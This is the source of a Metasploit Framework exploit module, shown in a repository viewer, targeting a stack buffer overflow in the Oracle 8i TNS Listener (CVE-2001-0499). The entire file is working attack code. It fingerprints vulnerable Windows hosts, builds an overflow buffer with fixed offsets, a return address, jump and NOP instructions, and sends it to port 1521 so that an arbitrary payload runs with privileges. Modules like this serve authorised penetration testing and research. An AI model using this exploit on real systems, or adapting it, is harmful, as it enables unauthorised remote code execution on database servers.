root / modules / exploits / windows / oracle / tns_arguments.rb @ master
History | View | Annotate | Download (2.4 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/
|
| 10 |
##
|
| 11 |
|
| 12 |
require 'msf/core'
|
| 13 |
|
| 14 |
class Metasploit3 < Msf::Exploit::Remote |
| 15 |
Rank = GoodRanking |
| 16 |
|
| 17 |
include Msf::Exploit::Remote::TNS |
| 18 |
|
| 19 |
def initialize(info = {}) |
| 20 |
super(update_info(info,
|
| 21 |
'Name' => 'Oracle 8i TNS Listener (ARGUMENTS) Buffer Overflow', |
| 22 |
'Description' => %q{ |
| 23 |
This module exploits a stack buffer overflow in Oracle 8i. When |
| 24 |
sending a specially crafted packet containing a overly long |
| 25 |
ARGUMENTS string to the TNS service, an attacker may be able |
| 26 |
to execute arbitrary code. |
| 27 |
},
|
| 28 |
'Author' => [ 'MC' ], |
| 29 |
'License' => MSF_LICENSE, |
| 30 |
'Version' => '$Revision$', |
| 31 |
'References' =>
|
| 32 |
[ |
| 33 |
[ 'CVE', '2001-0499' ], |
| 34 |
[ 'OSVDB', '9427'], |
| 35 |
[ 'BID', '2941' ], |
| 36 |
], |
| 37 |
'Privileged' => true, |
| 38 |
'DefaultOptions' =>
|
| 39 |
{
|
| 40 |
'EXITFUNC' => 'process', |
| 41 |
}, |
| 42 |
'Payload' =>
|
| 43 |
{
|
| 44 |
'Space' => 600, |
| 45 |
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\\$\% ()", |
| 46 |
'StackAdjustment' => -3500, |
| 47 |
}, |
| 48 |
'Platform' => 'win', |
| 49 |
'Targets' =>
|
| 50 |
[ |
| 51 |
[ 'Oracle 8.1.7.0.0 Standard Edition (Windows 2000)', { 'Offset' => 6383, 'Ret' => 0x60a1e154 } ], |
| 52 |
[ 'Oracle 8.1.7.0.0 Standard Edition (Windows 2003)', { 'Offset' => 6379, 'Ret' => 0x60a1e154 }] , |
| 53 |
], |
| 54 |
'DefaultTarget' => 0, |
| 55 |
'DisclosureDate' => 'Jun 28 2001')) |
| 56 |
|
| 57 |
register_options([Opt::RPORT(1521)], self.class) |
| 58 |
end
|
| 59 |
|
| 60 |
def check |
| 61 |
connect |
| 62 |
|
| 63 |
version = "(CONNECT_DATA=(COMMAND=VERSION))"
|
| 64 |
|
| 65 |
pkt = tns_packet(version) |
| 66 |
|
| 67 |
sock.put(pkt) |
| 68 |
|
| 69 |
sock.get_once |
| 70 |
|
| 71 |
res = sock.get_once(-1, 1) |
| 72 |
|
| 73 |
disconnect |
| 74 |
|
| 75 |
if ( res and res =~ /32-bit Windows: Version 8\.1\.7\.0\.0/ ) |
| 76 |
return Exploit::CheckCode::Vulnerable |
| 77 |
end
|
| 78 |
return Exploit::CheckCode::Safe |
| 79 |
end
|
| 80 |
|
| 81 |
def exploit |
| 82 |
connect |
| 83 |
|
| 84 |
buff = rand_text_alpha_upper(target['Offset'] - payload.encoded.length) + payload.encoded
|
| 85 |
buff << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V') |
| 86 |
buff << [0xe8, -550].pack('CV') + rand_text_alpha_upper(966) |
| 87 |
|
| 88 |
sploit = "(CONNECT_DATA=(COMMAND=STATUS)(ARGUMENTS=#{buff}))"
|
| 89 |
|
| 90 |
pkt = tns_packet(sploit) |
| 91 |
|
| 92 |
print_status("Trying target #{target.name}...")
|
| 93 |
sock.put(pkt) |
| 94 |
|
| 95 |
handler |
| 96 |
|
| 97 |
disconnect |
| 98 |
end
|
| 99 |
|
| 100 |
end
|